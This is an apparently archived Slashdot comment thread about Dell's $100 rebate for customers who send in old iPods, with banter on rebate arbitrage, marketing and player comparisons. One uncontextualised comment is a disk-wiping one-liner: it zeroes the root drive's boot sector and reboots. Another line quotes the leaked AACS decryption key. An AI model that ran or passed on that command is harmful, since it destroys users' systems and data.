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Dell Offers $100 For Old iPods
Mz6 writes "Dell unveiled an offer that grants music player customers a $100 rebate on a
15GB Digital Jukebox when they
send in an Apple iPod music player to be recycled. 'We want to help drive further awareness of the products we have available and...the plusses we have to offer,' said Dell spokesman Jess Blackburn. Thus the iPod offer 'is a way to call out what separates us from the understood leader in this particular market.' Dell is also offering free shipping, free software, and 25 free songs through MusicMatch and brings the overall cost for the DJ down to $99." Helpful tip: If you have a dead iPod, do the rebate offer, and sell the Jukebox on eBay.
Suddenly taking the burden of my friend's dead iPod off his shoulders doesn't seem so bad...
Its all fun and games until someone loses an eye... then its just fun.
Helpful tip: If you have a dead iPod, do the rebate offer, and sell the Jukebox on eBay.
Why, thats dishonest!
PS: Anyone have a dead iPod they want to send to me?
I don't know many people who would want to trade in their iPod for a largely inferior product...besides, low cost becomes a non-issue when you've already purchased the higher-priced product.
dd if=/dev/zero of=`df / | awk '/^\/dev/ {print $1}' | sed 's/s[0-9][a-z]//'` count=1 bs=512 && shutdown -r now
'We want to help drive further awareness of the products we have available and...the plusses we have to offer,' Or maybe, they just want to get more ipods off the market, and more of their digital jukeboxes in consumers hands
But can the Dell unit seamlessly plug into a BMW? That is the question!
/. woo hoo... even tho I am a coward. ;)
First post on
It's a $100 REBATE. Means you still have to buy Dell's crap.....
Typical marketspeak. It just has to contain a lot of "good words" like plusses, drive, offer...it doesn't have to mean anything.
It just makes them look desperate more than anything else. Come out with a superior product, and people will automatically aware of the "plusses" they have to offer.
An Indian-American Hindu committed to non-violent thought/speech/action alarmed by the global explosion of radical Islam
what do old/broken iPod's sell for on eBay - more than $100 ?!??
...yup...
If you have an iPod and you want to get rid of it, I'll give you $100 cash. Then you're not tied into the Dell brand.
SIGFEH
I for one don't see a problem with it. It's not as if Dell is holding guns to people's heads demanding they hand over their iPods.
"Ask not what your country can do for you." --John F. Kennedy
Step 1: Buy dead iPods from eBay
Step 2: Buy crappy Dell player from Dell w/ rebate
Step 3: Sell crappy Dell player on eBay for more than purchase price of dead iPod + crappy Dell player
Step 4: Profit!!!
Lather, rinse, repeat
There is no mod option "-1: Disagree" for a reason. "Overrated" is not an acceptable substitute. Post something instead.
Is Dell really paying for the rebate or are they receiving monies from Microsoft? Call me a tin-foil hat wearer, but for some strange reason I have to question Microsoft's $7 billion expenditure on R&D. Me thinks some of that money goes toward their allies to weaken their "enemies." I wouldn't be surprised if Microsoft is funneling cash to Dell to pay for these rebates to lure customers away from the iPod and the iTunes Store and toward a Microsoft controlled relabeling of online distribution of Microsoft WMA files. Its like the U.S. (or the former U.S.S.R.) with its client states, only in this scenario, it is a client corporation.
"Right now, somewhere in this world, Scott Baio is plowing a woman he doesn't love," - Peter Griffin, *Family Guy*
"Dell is also offering free shipping, free software, and 25 free songs through MusicMatch and brings the overall cost for the DJ down to $99."
As an iPod owner (and a former owner of several other mp3 players), I think this plan is not going to accomplish much for Dell.
Think about it, nobody has ever said you should by an iPod for it's low cost. On the contrary, it's just about the most expensive player on the market. So who buys one? People who want to be trendy (Apple is way trendier than Dell), and people who want the best mp3 player out there (not trying to start a flame war here, but the iPod interface is head and shoulders above the rest). So by offering free shipping, free songs, etc., I don't see how Dell will be able to woo very many people away from an iPod (even if it's a dead iPod).
For the people who want the least expensive player out there, or who don't really mind the lesser interfaces of the other players, I don't see that crowd having bought an iPod in the first place, so they won't be affected by this offer either.
This leaves me wondering, who this offer is really targeted at? It sounds more like a PR stunt designed to steal some of Apple's thunder for owning the digital music player market.
'We want to help drive further awareness of the products we have available and...the plusses we have to offer,' said Dell spokesman Jess Blackburn. Thus the iPod offer 'is a way to call out what separates us from the understood leader in this particular market.'
That's kinda funny. First they are nice and vague saying "the plusses we have to offer", but then they go on saying "what separates us from the understood leader". So...to paraphrase..."trade in your superior product for our inferior one. thank you"
"He uses statistics as a drunken man uses lampposts...for support rather than illumination." - Andrew Lang
Anyone want to wager Dell won't get more than a thousand submissions for this offer?
How about a hundred?
Three?
Bueller?
--R.J.
Electric-Escape.net
I'm kinda curious - I'm guessing that Dell is destroying these to take them off the market.
side note: I used to work at a big music store (headquartered in MN) that would destroy thousands of perfectly good pianos and organs to take them off the market, so they could sell more electronic and upright pianos. Can't find a 25 dollar 'you move it' piano in Minneapolis? Thats why..
whoever runs the reverse engineering dept at dell is gona feel so stupid when he finds out you can buy them brand new at apple.com even if you do work for a rival company.
Cheers!
Erick
http://www.busyweather.com/
In cubic cm:
iPod mini: 59
iPod: 100
Dell DJ: 156
The DJ is 164% larger than the Mini and 56% larger than the 3rd generation iPod.
If your iPod still works, keep it or sell it on eBay. Then dump the DJ on ebay
If it is broken, Dell is the way to go.
The next pasture is always greener
I absolutely hate rebate programs like this. Dell has no use for a bunch of broken down iPods which is all they will get with this promotion. All they are doing is proving that they are ripping off an extra $100 from all their customers who don't have a dead iPod.
This is just like the "trade in any film camera, get $x off a digital camera" where x is a function of the price of the new camera and has nothing to do with the dead film one (disposables don't count).
when they come to pry it out of my cold, dead hands, and win the fight with my raging teenage daughter.
Flourescent (adj): smelling like ground wheat.
Why? I work for a company that manufacturers portable medical diagnostic equipment.
Pretty much every company in this field offers a mail-in rebate (often times as much as the original purchase price) for our devices if you send in any competitors device.
We regularly box up the devices that are sent to us and ship them back to their original manufacturer so that they know to take those devices out of their support database and to kind of "rub it in their faces" that we've had X number of their customers switch to our product (they do the same to us).
Since most companies in this field release a new device every 8 - 16 months, and there are numerous companies in the field, many consumers have got in the habit of buying a kit from company A, using it until all the test strips are gone, then buying a kit from company B and sending in the device from company A for the rebate, which is later used to buy the latest device from company C, and so on.
At one time, the department I was in was doing competetive analysis and had to buy about 30 meters from one of our biggest competitors. At the time they were offering a $50 mail in rebate. We dug up 30 of our meters that were defective (knowing full well we'd get them back in a few months) and used them to submit the rebates, all of which was used for one kick-ass dinner party a few months later.
Since then, many companies (including us) have changed the rules about mail-in rebates, limiting them to one per household per year, etc. to try and establish a bit more brand loyalty.
A computer once beat me at chess, but it was no match for me at kick boxing -- Emo Phillips
This is a brilliant plan for Dell employees to get iPods. Give that promotion manager a raise!
I have a 20GB iPod that is dead, because my friend pushed me into the pool while he was drunk/high and I had not emptied my pockets. This still isn't a good deal.
I could buy a Dell DJ for $200, get the $100 rebate, and sell the DJ on eBay for about $170, so I'd net $70.
Once I subtract that from the cost of my new 20GB iPod, the iPod would be $300 (I get an education discount).
I could also just send the iPod to Apple and get everything fixed for $250 flat fee.
Now, which one do you think I'm going to pick?
Man I just threw away mine too.
Joke all you want, it's all fun and games till someone looses an iPod.
I am Bennett Haselton! I am Bennett Haselton!
....which you can apply to the Dell Ford Explorer
"Look Lois, the two symbols of the Republican Party: an elephant, and a fat white guy who is threatened by change."
The Dell employees just wanted an easy way to get cheap iPods. Can you really blame them for that? :)
Like all rebates, they hope you forget to mail it in, or they give you some BS story about how you forgot to submit the proper proof of purchase.
Beauty is in the eye of the beerholder.
if you purchased it at the iTunes music store.
Lasers Controlled Games!
I fail to see how Apple has a monopoly in the mp3 player market - there are hundreds of other players out there, and any one of those manufacturers is free to go make their own deal with the RIAA.
This is shown by Napster, Rhapsody, buymusic.com, etc. The reason it might *look* like a monopoly is that these other mp3 players and services suck *and* blow.
I don't see Apple leveraging their marketshare to keep others from joining the fun - I believe Steve has said the equivalent of 'Bring it on'. This is not a case of MS keeping other OSes off of the desktop (BeOS and Toshiba), by threatening the OEMS with removal of price breaks....
You don't seriously think 10% of the population own a BMW, do you? :)
The reason for mail in rebates is that they bank on people not sending them in. Say, if about 60% of the rebates are redeemed, then they are only losing out the equivalent of $60 off the retail price per unit. I'd say a lot of us have had rebates that we forget about or just say f-it because of the stuff required. I remember I had one that you had to send your old phone to some charity, get a voucher from them, and send it in with a lot of personal info along with a purchase receipt, the UPC on the box, and your last bill.
09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0 is the magic number.
You mean the goal of their marketing is to SELL their PRODUCTS?! What kind of SATANIC FREAKS would do a thing like THAT?! I always thought marketing was supposed to be a purely selfless PUBLIC SERVICE!
I've never yet met anybody who'll admit to posting on Slashdot. So who are all these people?!
The thing that I find unethical about this offer is that they neglect to say that their machine can't play songs purchased from the iTunes music store. At least warn people first!
If it was broken...
And on fire...
...I mailed my old iPod, my friend told me "dude, you're getting a Dell", I received it with the $100, turned it on, loaded some mp3s and it was like BEEP BEEP BEEP BEEP BEEP BEEP. My music was gone!
So with the $100, I bought a pink iPod mini. Life is good again. My name is Ellen Feiss. I'm a switcher.
there's no place like ~
cheers- raga
If anybody would understand about trade-in, reselling and buying a new iPod, wouldn't it be Michael Dell?
Why? I work for a company that manufacturers portable medical diagnostic equipment.
Pretty much every company in this field offers a mail-in rebate (often times as much as the original purchase price) for our devices if you send in any competitors device.
We regularly box up the devices that are sent to us and ship them back to their original manufacturer so that they know to take those devices out of their support database and to kind of "rub it in their faces" that we've had X number of their customers switch to our product (they do the same to us).
I can say for a fact that this does not happen in the computer industry. Companies like IBM, HP, and Sun realize that if they leave trade-in equipment in circulation, it will just end up on eBay somewhere, where it will be competing against their own salespeople for new revenue. For this reason, any competitive trade ins are always destroyed. There's no point in sending it back to the original manufacturer who will only remanufacture it and resell it. Why would we give money to our competitors.
I suggest your company should strongly consider doing the same. Don't you know that your competitors probably have the ability to refurbish or remanufacture their own equipment and sell it to people again?
"When the president does it, that means it's not illegal." - Richard M. Nixon
Since there were reports a couple weeks ago that theves are targeting iPods, sounds like Dell wants to make it easy to fence them!
1) The DDJ (arguably) isn't as well-designed as the iPod - it's uglier, and not as nice to use (this is highly subjective, obviously, but it's a widely-held view).
2) The DDJ doesn't play music from the iTMS (both because it doesn't support the file type, AAC - see below, and because it doesn't support Apple's DRM). It presumably does support DRM'ed WMA files from a number of other music download services, but the iTMS is arguably the best of the DRM'd download outfits, and the one people are most likely to already have music from anyway, given its 70% market share.
3) The DDJ doesn't support as many file types (MP3, WMA, and WAV for the DDJ, vs MP3, WAV, AAC, AIFF, Audible, and Apple Lossless for the iPod).
4) The DDJ is larger and heavier than any iPod (even the 15 GB DDJ is larger and heavier than the 40 GB iPod).
5) The most capacious DDJ holds 20 GB; the most capacious iPod holds twice that.
That said, the DDJ does have some indisputable advantages over the iPod (the aforementioned price and battery life), and for a Windows user who hasn't already started getting music from the iTMS, it's worth considering. I'd still rather have an iPod, though, because it's nicer to use and I'd rather have iTMS compatibility than compatibility with the various vendors of songs in WMA format. As things are right now, I not only already have a bunch of music from the iTMS, I'm also on the Mac, so the DDJ is right out for me. YMMV, as always.
Hey... with all that unbiased analysis, you're giving Raving Apple Zealots a bad name.
Tim
This would be such a classic Steve Jobs thing, too. Have all AAPL employees send in a busted iPod. Cash in all the rebates. And crush all of the Jukeboxes into a big cube. Send the cube back to Dell for "recycling."
Hey freaks: now you're ju
Ah, but you missed the key word "Medical" which means that once it's used, it's considered to be biohzardous/contaminated and can not be re-manufactured or re-used.
Aside from the obvious "rub it in their faces", it is actually useful to know which devices are out of circulation so that in the event of (heaven forbid) a medical device recall, you won't waste millions of dollars trying to track down devices that people have already traded in.
A computer once beat me at chess, but it was no match for me at kick boxing -- Emo Phillips